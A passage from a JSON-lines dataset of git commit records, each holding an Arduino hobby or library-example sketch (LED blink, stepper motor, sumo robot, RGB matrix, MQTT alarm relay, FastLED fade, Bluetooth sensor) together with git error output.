module","repos":"probonopd\/Arduino,probonopd\/Arduino,probonopd\/Arduino,probonopd\/Arduino,probonopd\/Arduino,probonopd\/Arduino,probonopd\/Arduino","old_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/Blink\/Blink.ino","new_file":"hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/Blink\/Blink.ino","new_contents":"\/*\n ESP8266 Blink by Simon Peter\n Blink the blue LED on the ESP-01 module\n This example code is in the public domain\n*\/\n\nconst int ledPin = 1; \/\/ The blue LED on the ESP-01 module is connected to GPIO1 \n \/\/ (which is also the TXD pin; so we cannot use \n \/\/ Serial.print() at the same time\n\nvoid setup() {\n pinMode(ledPin, OUTPUT); \/\/ Initialize the ledPin as an output\n ESP.wdtDisable(); \/\/ Disable the watchdog timer built into the ESP8266\n \/\/ otherwise the ESP8266 reboots during the \"delay(1000);\"\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n digitalWrite(ledPin, LOW); \/\/ turn the LED on (Note that LOW is the voltage level\n \/\/ but actually the LED is on; this is because \n \/\/ it is acive low on the ESP-01)\n delay(1000); \/\/ Wait for a second\n digitalWrite(ledPin, HIGH); \/\/ Turn the LED off by making the voltage HIGH\n delay(2000); \/\/ Wait for two seconds (to demonstrate the active low LED)\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/esp8266com\/esp8266\/libraries\/esp8266\/examples\/Blink\/Blink.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"35a5865a989c9b610d33a9c66bde833d1ffdad20","subject":"Delete explorer-robot-v2.ino","message":"Delete explorer-robot-v2.ino","repos":"firatozz\/Explorer-Robot","old_file":"explorer-robot-v2.ino","new_file":"explorer-robot-v2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/firatozz\/Explorer-Robot.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7bdc6e77d31763a05c42353ceff125c98e877e79","subject":"I think this works. Going to test now.","message":"I think this works. Going to test now.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testInterrupts2\/testInterrupts2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6837956830dc446555b29516825d3107d06ff898","subject":"Modified a bit during testing. Now looking at output and measured (oscilloscope) data...","message":"Modified a bit during testing. Now looking at output and measured (oscilloscope) data...\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testInterrupts2\/testInterrupts2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"38df338de2bff27c21ef2c6fb04a67784375a6a8","subject":"Create web-stepper.ino","message":"Create web-stepper.ino\n\nParticle sketch for browser control of stepper motor.","repos":"jashtonSF\/spice-machine","old_file":"firmware\/web-stepper.ino","new_file":"firmware\/web-stepper.ino","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Spice machine stepper motor web control v1.0 \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\/\/ Justin Ashton \n\/\/ (c) J. Ashton & Company, Inc., 2016\n\/\/ \n\/\/ Hardware setup: Particle Photon, Easy Driver v4.5, NEMA 17, 12v power\n\/\/\n\/\/ This sketch is designed to be controlled by the file: \n\/\/ \"spice machine web control v1.0.hmtl\". Please make sure to \n\/\/ update your Photon keys and access token in the html file.\n\nint steps = 0;\nint dly = 1000; \/\/default delay in uSecs for speed control\nint rotateSteps(String numSteps);\nint changeDelay(String newDelay);\n\n\/\/Declare pin mapping\nint dir = D0;\nint stp = D1;\n\nvoid setup()\n{\n pinMode(stp, OUTPUT);\n pinMode(dir, OUTPUT);\n digitalWrite(dir, LOW);\n digitalWrite(stp, LOW);\n Serial.begin(9600); \/\/Open Serial connection for debugging\n Serial.println(\"Starting up the Spice Machine web control...\");\n Serial.println();\n Particle.function(\"numsteps\", rotateSteps); \/\/cloud function to update then drive # steps\n Particle.function(\"uSecsDelay\", changeDelay); \/\/cloud function to update delay (rot speed)\n \n}\n\nvoid loop()\n{\n}\n\nint rotateSteps(String numSteps) \n{\n steps = numSteps.toInt();\n Serial.print(\"updated steps: \");\n Serial.println(steps);\n if(steps > 0 && steps < 6401){\n for(int i=0; i < steps; i++){ \n digitalWrite(stp, HIGH); \n delayMicroseconds(dly); \n digitalWrite(stp, LOW); \n delayMicroseconds(dly); \n } \n return 1; \n } else {\n Serial.println(\"Steps out of range 1-6400\");\n return -1;\n }\n}\n\nint changeDelay(String newDelay) \n{\n int temp = newDelay.toInt();\n Serial.print(\"updated delay: \");\n Serial.println(temp);\n if(temp > 99 && temp < 1001){\n dly = temp;\n return 1;\n } else {\n Serial.println(\"Delay out of range 100-1000 microSecs\");\n return -1;\n \n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/web-stepper.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a9990f6f71c23b0786ae80ed7fce82ddd68a023e","subject":"Created Arduino control code","message":"Created Arduino control code\n\nAuthored code to detect states from the RC controller. This will be\nread in using I2C from the Raspberry Pi.\n","repos":"VT-SailBOT\/sailbot,VT-SailBOT\/sailbot","old_file":"src\/arduino_pwm_i2c_slave.ino","new_file":"src\/arduino_pwm_i2c_slave.ino","new_contents":"#define uint unsigned int\n#define ulong unsigned long\n#include <Servo.h>\n#include <EEPROM.h>\n#include <Wire.h>\n\n#include <math.h>\n\n#define PIN_SWITCH 2 \/\/ Digital 2\n#define PIN_SERVO 3 \/\/ Digital 3\n#define PIN_WINCH 4 \/\/ Digital 4\n\nint switchSignal;\nint servoSignal;\nint winchSignal;\n\n\/\/=======================================================\n\/\/ Initialize\n\/\/=======================================================\nvoid setup() {\n Serial.begin(9600);\n Wire.begin(2); \/\/ Join i2c bus with address #2\n Wire.onRequest(requestEvent); \/\/ Register event\n Wire.onReceive(receiveEvent); \/\/ Register event\n}\n\n\/\/=======================================================\n\/\/ Main loop.\n\/\/=======================================================\nvoid loop() {\n\n \/\/ 20 reads per second\n delay(50);\n\n switchSignal = readPulse(PIN_SWITCH);\n servoSignal = readPulse(PIN_SERVO);\n winchSignal = readPulse(PIN_WINCH);\n}\n\nint readPulse(int pin) {\n return pulseIn(pin, HIGH);\n}\n\n\/\/ Data to send to I2C Master\nvoid requestEvent() {\n static uint8_t buff[1];\n buff[0] = switchSignal;\n buff[1] = servoSignal;\n buff[2] = winchSignal;\n Wire.write(buff, 3); \/\/ Respond with message of 6 bytes as expected by master\n\n \/*\n Serial.println(switchSignal);\n Serial.println(servoSignal);\n Serial.println(winchSignal);\n *\/\n}\n\n\/\/ Data to receive from I2C Master\nvoid receiveEvent(int howMany) {\n int b;\n while (Wire.available() > 0) {\n b = Wire.read();\n Serial.println(b);\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/arduino_pwm_i2c_slave.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f72152a478f92aaef0b44332578f9b3440a51507","subject":"Sumobot initial","message":"Sumobot initial","repos":"svedbg\/albatroz","old_file":"sumobot.ino","new_file":"sumobot.ino","new_contents":"#include <Servo.h>\n\nServo Rservo; \/\/ create servo object to control a Right servo \nServo Lservo; \/\/ create servo object to control a Left servo \nServo ScanHead; \/\/ create servo object to control a ScanHead servo \nint HeadPos; \/\/ Variable for holding scan head position\nint HeadAdj; \/\/ Variable for holding scan head changes\n\nvoid setup() {\n delay(3000); \/\/ Chunk of time to let go of the bot\n Rservo.attach(0); \/\/ attaches the servo on pin 0 to the servo object \n Lservo.attach(1); \/\/ attaches the servo on pin 1 to the servo object \n ScanHead.attach(12); \/\/ attaches the servo on pin 12 to the servo object \n Serial.begin(9600); \/\/ initialize serial communication at 9600 bits per second:\n HeadPos = 1500; \/\/Start Scan head in the middle\n HeadAdj = 25; \/\/ Set the scan speed\n}\n\nvoid loop() {\n if (HeadPos < 1000) \/\/ Set the far left position\n {\n HeadAdj = 25; \/\/ Determines speed and direction of Scanhead rotation\n }\n if (HeadPos > 1900) \/\/ Set the far right position\n {\n HeadAdj = -25; \/\/ Determines speed and direction of Scanhead rotation\n }\n HeadPos = HeadPos + HeadAdj; \/\/Set the scan head position\n ScanHead.write(HeadPos); \/\/ move the Scan Head\n\n int senValue0 = analogRead(A0); \/\/ read the input on analog pin 0:\n Serial.print(\"Sen1 = \");\n Serial.println(senValue0);\n int LsenValue = analogRead(A1); \/\/ read the input on analog pin 1:\n Serial.print(\"L Sen = \");\n Serial.println(LsenValue);\n int RsenValue = analogRead(A2); \/\/ read the input on analog pin 2:\n Serial.print(\"R Sen = \");\n Serial.println(RsenValue);\n\n \/\/ Turn to face opponent if to one side\n if (HeadPos < 1200) {\n if (senValue0 > 350) \/\/Set the distance..bigger is closer\n {\n for (int dur = 10; dur >= 2; dur--) \/\/ set the distance the robot turns\n {\n Rservo.writeMicroseconds(1000); \/\/ sets the servo position to 1ms\n Lservo.writeMicroseconds(1000); \/\/ sets the servo position to 1ms\n delay(10);\n }\n }\n }\n \/\/ Turn to face opponent if to the other side\n if (HeadPos > 1700) {\n if (senValue0 > 350) \/\/Set the distance..bigger is closer\n {\n for (int dur = 10; dur >= 2; dur--) {\n Rservo.writeMicroseconds(2000); \/\/ sets the servo position to 2ms\n Lservo.writeMicroseconds(2000); \/\/ sets the servo position to 2ms\n delay(10);\n }\n }\n }\n\n if (LsenValue < 500) \/\/go forward if on white\n {\n Rservo.writeMicroseconds(1000); \/\/ sets the servo position to 1ms\n Lservo.writeMicroseconds(2000); \/\/ sets the servo position to 2ms\n delay(10);\n }\n if (RsenValue < 500) \/\/go forward if on white\n {\n Rservo.writeMicroseconds(1000); \/\/ sets the servo position to 1ms\n Lservo.writeMicroseconds(2000); \/\/ sets the servo position to 2ms\n delay(10);\n }\n\n\n if (LsenValue > 500) \/\/turn away if on black\n {\n for (int dur = 50; dur >= 2; dur--) {\n Rservo.writeMicroseconds(2000); \/\/ sets the servo position to 1ms\n Lservo.writeMicroseconds(2000); \/\/ sets the servo position to 2ms\n delay(10);\n }\n }\n if (RsenValue > 500) \/\/turn away if on black\n {\n for (int dur = 30; dur >= 2; dur--) {\n Rservo.writeMicroseconds(1000); \/\/ sets the servo position to 1ms\n Lservo.writeMicroseconds(1000); \/\/ sets the servo position to 2ms\n delay(10);\n }\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sumobot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"06f68a3eb840a9c883a964128351d6d03380eee6","subject":"Ejemplo con background","message":"Ejemplo con background\n","repos":"NodeBotsMx\/SerialPortExamples","old_file":"arduino\/scrolltext_matrix_rgb_16x32\/scrolltext_matrix_rgb_16x32_v2\/scrolltext_matrix_rgb_16x32_v2.ino","new_file":"arduino\/scrolltext_matrix_rgb_16x32\/scrolltext_matrix_rgb_16x32_v2\/scrolltext_matrix_rgb_16x32_v2.ino","new_contents":"\/\/ scrolltext demo for Adafruit RGBmatrixPanel library.\n\/\/ Demonstrates double-buffered animation on our 16x32 RGB LED matrix:\n\/\/ http:\/\/www.adafruit.com\/products\/420\n\n\/\/ Written by Limor Fried\/Ladyada & Phil Burgess\/PaintYourDragon\n\/\/ for Adafruit Industries.\n\/\/ BSD license, all text above must be included in any redistribution.\n\n#include <Adafruit_GFX.h> \/\/ Core graphics library\n#include <RGBmatrixPanel.h> \/\/ Hardware-specific library\n\n\/\/ Similar to F(), but for PROGMEM string pointers rather than literals\n#define F2(progmem_ptr) (const __FlashStringHelper *)progmem_ptr\n\n#define CLK 11 \/\/ MUST be on PORTB! (Use pin 11 on Mega)\n#define LAT A3\n#define OE 9\n#define A A0\n#define B A1\n#define C A2\n\/\/ Last parameter = 'true' enables double-buffering, for flicker-free,\n\/\/ buttery smooth animation. Note that NOTHING WILL SHOW ON THE DISPLAY\n\/\/ until the first call to swapBuffers(). This is normal.\nRGBmatrixPanel matrix(A, B, C, CLK, LAT, OE, true);\n\/\/ Double-buffered mode consumes nearly all the RAM available on the\n\/\/ Arduino Uno -- only a handful of free bytes remain. Even the\n\/\/ following string needs to go in PROGMEM:\n\n\/\/char str[] PROGMEM = \"Adafruit 16x32 RGB LED Matrix\";\nint textX = matrix.width();\nint textMin = 0 * -12;\nint hue = 0;\n\nchar string0[50];\n\/\/char string1[8];\nint posicion=0;\nint posicion2=0;\nint borrar=0;\nint fila=0;\n\nint velocity=1;\n\nint8_t ball[3][4] = {\n { 3, 0, 1, 1 }, \/\/ Initial X,Y pos & velocity for 3 bouncy balls\n { 17, 15, 1, -1 },\n { 27, 4, -1, 1 }\n};\nstatic const uint16_t PROGMEM ballcolor[3] = {\n 0x0080, \/\/ Green=1\n 0x0002, \/\/ Blue=1\n 0x1000 \/\/ Red=1\n};\n\n\nvoid setup() { \n matrix.begin();\n matrix.setTextWrap(false); \/\/ Allow text to run off right edge\n matrix.setTextSize(2);\n Serial.begin(14400);\n}\n\nvoid loop() {\n byte i;\n \n matrix.fillScreen(0);\n \n \n \/\/ Bounce three balls around\n for(i=0; i<3; i++) {\n \/\/ Draw 'ball'\n matrix.fillCircle(ball[i][0], ball[i][1], 5, pgm_read_word(&ballcolor[i]));\n \/\/ Update X, Y position\n ball[i][0] += ball[i][2];\n ball[i][1] += ball[i][3];\n \/\/ Bounce off edges\n if((ball[i][0] == 0) || (ball[i][0] == (matrix.width() - 1)))\n ball[i][2] *= -1;\n if((ball[i][1] == 0) || (ball[i][1] == (matrix.height() - 1)))\n ball[i][3] *= -1;\n }\n \n if (Serial.available()){\n int incomingByte = Serial.read();\n\n if(incomingByte == '\\n') { \n \/\/ ------\n }else if(incomingByte == '#') { \n matrix.fillScreen(0);\n borrar=1;\n posicion=0;\n }else{\n borrar=0; \n string0[posicion++]=(char)incomingByte; \n }\n }\n \n if(borrar==1){\n matrix.fillScreen(0);\n }\n \n for(int j=0;j<posicion;j++){\n matrix.print(string0[j]);\n }\n \n textMin = posicion * -12;\n Serial.print(textX);\n Serial.print(\" <=> \");\n Serial.println(textMin);\n\n if((--textX) < textMin) textX = matrix.width();\n\n matrix.setCursor(textX, 1);\n matrix.setTextColor(matrix.ColorHSV(hue, 255, 255, true));\n hue += 7;\n if(hue >= 1536) hue -= 1536;\n delay(10);\n\n \n \/\/ Update display\n matrix.swapBuffers(false);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/scrolltext_matrix_rgb_16x32\/scrolltext_matrix_rgb_16x32_v2\/scrolltext_matrix_rgb_16x32_v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c132f07309cb5402376ac424d74672a54f8a5d03","subject":"setting gpio via javascript","message":"setting gpio via javascript\n","repos":"zikalino\/droplet-x1,zikalino\/droplet-x1,zikalino\/droplet-x1","old_file":"app\/app.ino","new_file":"app\/app.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/zikalino\/droplet-x1.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8c65e688214e920e67e5e56c3f89f5c0d01b668c","subject":"nie pamientam","message":"nie pamientam\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/msensors\/wmys03\/wmys03.ino","new_file":"modules\/msensors\/wmys03\/wmys03.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3837e1bc3ec5fbd9fb6cd9a7f3a8eef33acfcce0","subject":"Add BLE Link example","message":"Add BLE Link example\n","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/BoardsAndShields\/TheAirBoard_BLE_Link\/TheAirBoard_BLE_Link.ino","new_file":"examples\/BoardsAndShields\/TheAirBoard_BLE_Link\/TheAirBoard_BLE_Link.ino","new_contents":"\/**************************************************************\n *\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social groups: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how to use The AirBoard + BLE-Link\n * to connect your project to Blynk.\n * Feel free to apply it to any other example. It's simple!\n *\n * 1. plug in the BLE-Link shield to your AirBoard and\n * the USB BLE-Link dongle to your computer\n *\n * 2. Optional, but recommended.\n * Connect additional USB-serial adapter to see the prints.\n *\n * 3. Edit auth token and upload this sketch.\n *\n * 4. Run the script (script located in \"scripts\" folder of library root,\n * e.g. 'blynk-library\/scripts') for redirecting traffic to server:\n *\n * for Windows: scripts\/blynk-ser.bat\n * for Linux and OSX: .\/scripts\/blynk-ser.sh (may need to run with sudo)\n *\n * You can specify port, baud rate, and server endpoint like this\n * (you may skip server parameters when running local):\n * .\/blynk-ser.sh -c <serial port> -b <baud rate> -s <server address> -p <server port>\n *\n * For instance :\n * .\/blynk-ser.sh -c \/dev\/tty.usbmodem621 -b 9600 -s cloud.blynk.cc -p 8442\n *\n * Be sure to select the right serial port (there may be multiple) when prompted:\n * Select serial port [ ]: <serial_port>\n *\n * Run blynk-ser.sh -h for more information\n *\n * Attention!\n * Arduino IDE may complain with \"programmer is not responding\".\n * You need to terminate script before uploading new sketch.\n *\n * 5. To start, drag and drop a single D5 button to control the pin 5 green LED\n * as shown in this video: https:\/\/www.youtube.com\/watch?v=cAP668GF3_8\n *\n * Don't forget to connect your smartphone to your WiFi network\n *\n **************************************************************\/\n\n#include <SoftwareSerial.h>\nSoftwareSerial DebugSerial(10, 11);\n#define BLYNK_PRINT DebugSerial\n#include <BlynkSimpleSerial.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n DebugSerial.begin(9600);\n Blynk.begin(auth, 9600); \/\/ BLE-Link uses baud rate 9600\n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/BoardsAndShields\/TheAirBoard_BLE_Link\/TheAirBoard_BLE_Link.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5023a05da13727535dbbe6f3df51cc0febbd2549","subject":"initial push of ALARM","message":"initial push of ALARM\n","repos":"scentelles\/iot,scentelles\/iot,scentelles\/iot","old_file":"examples\/ALARM\/ALARM.ino","new_file":"examples\/ALARM\/ALARM.ino","new_contents":"#include \"MqttConnection.h\"\nMqttConnection * myMqtt;\n\n\n\/************************* WiFi Access Point *********************************\/\n\n#define WLAN_SSID \"SFR_34A8\"\n#define WLAN_PASS \"ab4ingrograstanstorc\"\n\n#define SENSOR_ID \"ALARM1\"\n\n#define ALARM_RELAY_PIN D6\n \n\n\n\n\/************************* MQTT *********************************\/\n\n#define MQTT_SERVER \"192.168.1.27\"\n#define MQTT_PORT 1883\n\n\/\/Constants\nconst char TV_STATE_OFF = 1;\nconst char TV_STATE_ON = 2;\nconst char ALARM_ON = '2';\nconst char ALARM_OFF = '1';\n\nvoid processAlarmStateMsg(char* topic, byte* payload, unsigned int length)\n{\n\n Serial.print(\"Checking if state topic\");\n if(String(topic) == \"ALARM1\/cmd\"){\n\t Serial.println(\"Received Alarm change message\");\n if ((char)payload[0] == ALARM_ON){\n\t\t Serial.println(\"ALARM ON received\");\n\n\t\t\t switchAlarmOn();\n\t\t\t\n\t }\n else if ((char)payload[0] == ALARM_OFF){\n Serial.println(\"ALARM OFF received\");\n\n switchAlarmOff();\n \n }\n\t\t else {\n\t\t Serial.print(\"Unknown payload : \");\n\t\t\tSerial.println((char)payload[0]);\n\t\t }\n\n }\n}\n\nvoid setup() {\n Serial.begin(115200);\n pinMode(ALARM_RELAY_PIN, OUTPUT);\n digitalWrite(ALARM_RELAY_PIN, HIGH);\n\n \n delay(10);\n \n myMqtt = new MqttConnection(SENSOR_ID, WLAN_SSID, WLAN_PASS, MQTT_SERVER, MQTT_PORT);\n myMqtt->registerCustomProcessing(&processAlarmStateMsg);\n myMqtt->addSubscription(\"cmd\");\n\n}\n\n\nvoid switchAlarmOn(){\n \n Serial.println(\"Switching Alarm ON\");\n digitalWrite(ALARM_RELAY_PIN, LOW);\n\n}\nvoid switchAlarmOff(){\n \n Serial.println(\"Switching Alarm OFF\");\n digitalWrite(ALARM_RELAY_PIN, HIGH);\n\n}\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n if (!myMqtt->connected()) {\n myMqtt->reconnect();\n }\n myMqtt->loop();\n\n \n \n delay(10);\n\n\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ALARM\/ALARM.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"9e7a1345dbccb0b6e2660724814875ff9bf49ae6","subject":"Create fadeToBlackBy_example.ino","message":"Create fadeToBlackBy_example.ino","repos":"marmilicious\/FastLED_examples","old_file":"fadeToBlackBy_example.ino","new_file":"fadeToBlackBy_example.ino","new_contents":"\/\/***************************************************************\n\/\/ Example showing how fadeToBlackBy works.\n\/\/ Open the serial monitor to see r,g,b values.\n\/\/\n\/\/ Each time fadeToBlackBy(X) is called it will fade a pixel's\n\/\/ r,g,b values by a certain percentage. Calling it repeatedly\n\/\/ will eventually fade to black (where r,g,b = 0,0,0).\n\/\/\n\/\/ Note that the specified number is a *percentage* out of 255,\n\/\/ so for example, using 64 would be 64\/255 = 25%, and using\n\/\/ 10 would be 10\/255 = 4%. 0 would be no fading.\n\/\/\n\/\/ It can be used to fade all leds of a CRGB array like:\n\/\/ fadeToBlackBy(leds, NUM_LEDS, 128); \/\/ 128\/255 = 50%\n\/\/\n\/\/ Or can be used to fade a specific pixel.\n\/\/ leds[i].fadeToBlackBy(128); \/\/ fade by 50%\n\/\/\n\/\/\n\/\/ Marc Miller, Oct 2020\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE LPD8806\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n#define NUM_LEDS 32\n#define COLOR_ORDER GRB\n#define MASTER_BRIGHTNESS 255\n\nCRGB leds[NUM_LEDS];\n\n\n\/\/---------------------------------------------------------------\nvoid setup() { \n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(2500); \/\/ Startup delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(MASTER_BRIGHTNESS);\n\n \/\/ In this exmaple we will start out by filling the strip with this redish color\n fill_solid(leds, NUM_LEDS, CRGB(255,128,64));\n\n FastLED.show(); \/\/ Update the display\n printPixelInfo(0); \/\/ Print out the r,g,b values in the serial monitor\n}\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n\n \/\/ Reduce this 250 ms to something smaller to change\n \/\/ how often the fade is called.\n EVERY_N_MILLISECONDS(250) {\n\n \/\/ Try different fade values here and note how it changes the look.\n \/\/fadeToBlackBy(leds, NUM_LEDS, 10); \/\/ 10\/255 = 4%\n fadeToBlackBy(leds, NUM_LEDS, 64); \/\/ 64\/255 = 25%\n \/\/fadeToBlackBy(leds, NUM_LEDS, 128); \/\/ 128\/255 = 50%\n \/\/fadeToBlackBy(leds, NUM_LEDS, 200); \/\/ 200\/255 = 78%\n\n FastLED.show(); \/\/ Update the pixel display\n printPixelInfo(0); \/\/ Print out the r,g,b values in the serial monitor\n\n \n \/\/ Check if we have gone all the way to black (off).\n \/\/ If true, then pick a new random color to fade.\n if ( leds[0] == CRGB(0,0,0) ) {\n delay(2000);\n fill_solid(leds, NUM_LEDS, CHSV(random8(), random8(128,255), 255));\n\n FastLED.show();\n Serial.println(\" \");\n printPixelInfo(0);\n\n }\n \n } \/\/ end every_N\n\n} \/\/ end main loop\n\n\n\/\/ Try experimenting with different fade values and different values\n\/\/ for EVERY_N_MILLISECONDS above to see how it effects things.\n \n\n\/\/---------------------------------------------------------------\n\/\/ Function to print out r,g,b info for specified pixel number\nvoid printPixelInfo(uint16_t i) {\n Serial.print(\" leds[\"); Serial.print(i); Serial.print(\"] \");\n Serial.print(\"\\tr: \"); Serial.print(leds[i].r);\n Serial.print(\"\\tg: \"); Serial.print(leds[i].g);\n Serial.print(\"\\tb: \"); Serial.println(leds[i].b);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'fadeToBlackBy_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ff8c04b7a0c46e013112029565975e2698d0ef17","subject":"Arduino code","message":"Arduino code\n","repos":"Ahmed-Abdelmeged\/ADAS,Ahmed-Abdelmeged\/ADAS","old_file":"ADAS-Arduino\/ADAS-Arduino.ino","new_file":"ADAS-Arduino\/ADAS-Arduino.ino","new_contents":"\/\/call the library and define the rx and tx pins for send and receive\n#include <SoftwareSerial.h>\nSoftwareSerial bluetooth(10,11); \/\/RX,TX\n\n\/\/char used to read the input\nchar data=0;\n\n\/\/put a led in pin 5 in arduino\nint led = 5;\n\n\/\/pot setup and value\nint potPin=A0;\nint potValue=0;\n\n\n\/\/temp setup and value\nint tempPin=A1;\nfloat readValue , realValue;\nint finalValue;\n\n\/\/ldr setup and value\nint ldrPin=A2;\nint ldrValue;\n\n\/\/button setup\nint button =6;\nint button_state=0;\n\nint flag=0;\n\nint leds=3;\n\n\n\nvoid setup() {\n\n\/\/intainalize the Serial and the bluetooth with 9600 boot rat \nSerial.begin(9600);\nbluetooth.begin(9600);\n\n\/\/define the input and the output for the arduio\npinMode(led,OUTPUT);\npinMode(potPin,INPUT);\npinMode(tempPin,INPUT);\npinMode(ldrPin,INPUT);\npinMode(leds,OUTPUT);\npinMode(button,INPUT);\n\n}\n\nvoid loop() {\n\n\/\/read the value from the pot\npotValue =analogRead(potPin);\n\n\/\/read the value from the temp\nreadValue=analogRead(tempPin);\nrealValue = readValue*5 \/1023;\nfinalValue = realValue*100;\n\n\/\/read value from LDR\nldrValue=analogRead(ldrPin);\n\nbutton_state=digitalRead(button);\n\nsendAndroidValues();\n\n if(bluetooth.available()){\n data = bluetooth.read();\n if(data == 'o'){\n digitalWrite(led,HIGH);\n }\n else if(data == 'f'){\n digitalWrite(led,LOW);\n }\n } \n}\n \n\n\n\n\/\/send the value from the sensor over serial to BT module\nvoid sendAndroidValues()\n{\n \/\/put # before the value so that the app know that new data send\n bluetooth.print('#');\n\n bluetooth.print(finalValue);\n bluetooth.print('+');\n\n bluetooth.print(ldrValue);\n bluetooth.print('+');\n\n \/\/put the sensors value\n bluetooth.print(potValue);\n bluetooth.print('+');\n\n \/\/put the button state\n bluetooth.print(button_state);\n bluetooth.print('+');\n\n\n \/\/used to end the transimssion\n bluetooth.print('~');\n bluetooth.println();\n \/\/add delay to eliminate missed data\n delay(150);\n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ADAS-Arduino\/ADAS-Arduino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a887d9efa6c31e987439b3ee6ff21d04543dfa02","subject":"Create V3.2.ino","message":"Create V3.2.ino","repos":"Gruniek\/BB-UNIT,Gruniek\/BB-UNIT","old_file":"Firmware\/BB-UNIT\/OLD\/V3.2.ino","new_file":"Firmware\/BB-UNIT\/OLD\/V3.2.ino","new_contents":"String FIRMWARE_VERSION = \"0.3.3\"; \/\/ Software Version\nint channel = 1; \/\/ Remote channel : Put the same of your remote\n\n\n\/*\n - OPEN BB-X -\n A open source BB-8 for create you own BB-8!\n ###########################################\n\n https:\/\/github.com\/Gruniek\/OPEN-BB-X\n Made by Daniel M\/Gruniek\/\n\n Compatible only with an Arduino MEGA 2560 and the specific PCB.\n PCB Link : https:\/\/github.com\/Gruniek\/OPEN-BB-X\/tree\/master\/Head\/Stabiliser\/PCB\n\n --------------\n - Change log -\n --------------\n 12\/2016\n 